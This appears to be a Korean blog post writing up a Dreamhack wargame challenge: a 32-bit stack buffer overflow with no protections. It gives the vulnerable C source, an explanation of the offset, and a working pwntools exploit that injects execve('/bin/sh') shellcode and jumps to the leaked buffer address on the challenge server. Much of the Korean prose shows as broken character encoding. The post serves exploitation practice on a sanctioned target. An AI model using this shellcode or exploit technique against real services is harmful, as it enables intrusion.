๐Ÿ‘ฉ๐Ÿป‍๐Ÿ’ป ๊ฐ“์ƒ ์ง์žฅ์ธ ๋‚จ๋ฐ”์˜ค
article thumbnail

1. Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

2. Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

3. Write Up

mainํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด buf์˜ ํฌ๊ธฐ๋Š” 0x80(128๋ฐ”์ดํŠธ) ์ธ๋ฐ ์ž…๋ ฅ์œผ๋กœ %141s ๋ฅผ ๋ฐ›๊ณ  ์žˆ๋‹ค. ์—ฌ๊ธฐ์„œ BOF ๋ฐœ์ƒ ๊ฐ€๋Šฅ

return address ๋Š” BUF[80] ์—์„œ SFP[4] ๋งŒํผ ๋–จ์–ด์ง„ ๊ณณ์— ์กด์žฌ

๋”ฐ๋ผ์„œ BUF์— ์‰˜์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•œ ํ›„ 0x84์—์„œ ์‰˜์ฝ”๋“œ๋งŒํผ์˜ ํฌ๊ธฐ๋ฅผ ๋บ€ ๋‹ค์Œ ๋”๋ฏธ๊ฐ’์œผ๋กœ ์ฑ„์›Œ์ฃผ๊ณ ,

RET์— buf์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด์ค€๋‹ค๋ฉด ์‰˜์„ ๋”ธ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

 

์—ฌ๊ธฐ์„œ ์ฃผ์˜ํ•  ์ ์€ scanf ๋กœ ์ž…๋ ฅ๋ฐ›์„ ๋•Œ ์ธ์‹์„ ๋ชปํ•˜๋Š” ์‰˜์ฝ”๋“œ๊ฐ€ ์กด์žฌํ•œ๋‹ค → 25๋ฐ”์ดํŠธ๊ฐ€ ์•„๋‹Œ 26๋ฐ”์ดํŠธ ์‰˜์ฝ”๋“œ ์ด์šฉ

buf๊ฐ’์ด ๊ณ„์†ํ•ด์„œ ๋ณ€ํ•˜๊ธฐ ๋•Œ๋ฌธ์— (ASLR) ๋•Œ๋ฌธ์— nc๋ฅผ ํ†ตํ•ด ํฌํŠธ ์—ฐ๊ฒฐ์„ ํ•œ ํ›„์— ๋ฐ›์•„์˜ค๋Š” buf ๊ฐ’์„ buf_add ์— ์ž…๋ ฅํ•˜๊ณ 

payload๋ฅผ ์œ„์™€ ๊ฐ™์ด ์งœ๋ณด์•˜๋‹ค.

 

์—ฌ๊ธฐ์„œ ๊ณ„์† ํ•ด์„œ

can only concatenate str (not “bytes”) to str ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ๋Š”๋ฐ ์ด๊ฑด python3์—์„œ ์ƒ๊ธฐ๋Š” ์˜ค๋ฅ˜์ด๋‹ค.

ascii ์ฝ”๋“œ๋ฅผ byte type๋กœ ๋ชจ๋‘ ๋ณ€๊ฒฝํ•˜๋‹ˆ ์˜ค๋ฅ˜ ํ•ด๊ฒฐ

 

โ–ท Exploit Code

from pwn import *

p = remote("host3.dreamhack.games", 8884)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("(")
buf_add = int(p.recv(10), 16)

payload = shellcode + b'\x41' * 106 + p32(buf_add)

p.sendline(payload)
p.interactive()

'Wargame > Dreamhack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Pwnable] Return Address Overwrite  (0) 2023.02.16
[Pwnable] Basic_exploitation_003  (0) 2023.02.16
[Pwnable] shell_basic  (0) 2023.02.16
[Pwnable] Basic_exploitation_001  (0) 2023.02.16
[Pwnable] Welcome  (0) 2023.02.16
profile

๐Ÿ‘ฉ๐Ÿป‍๐Ÿ’ป ๊ฐ“์ƒ ์ง์žฅ์ธ ๋‚จ๋ฐ”์˜ค

@๋‚จ๋ฐ”์˜ค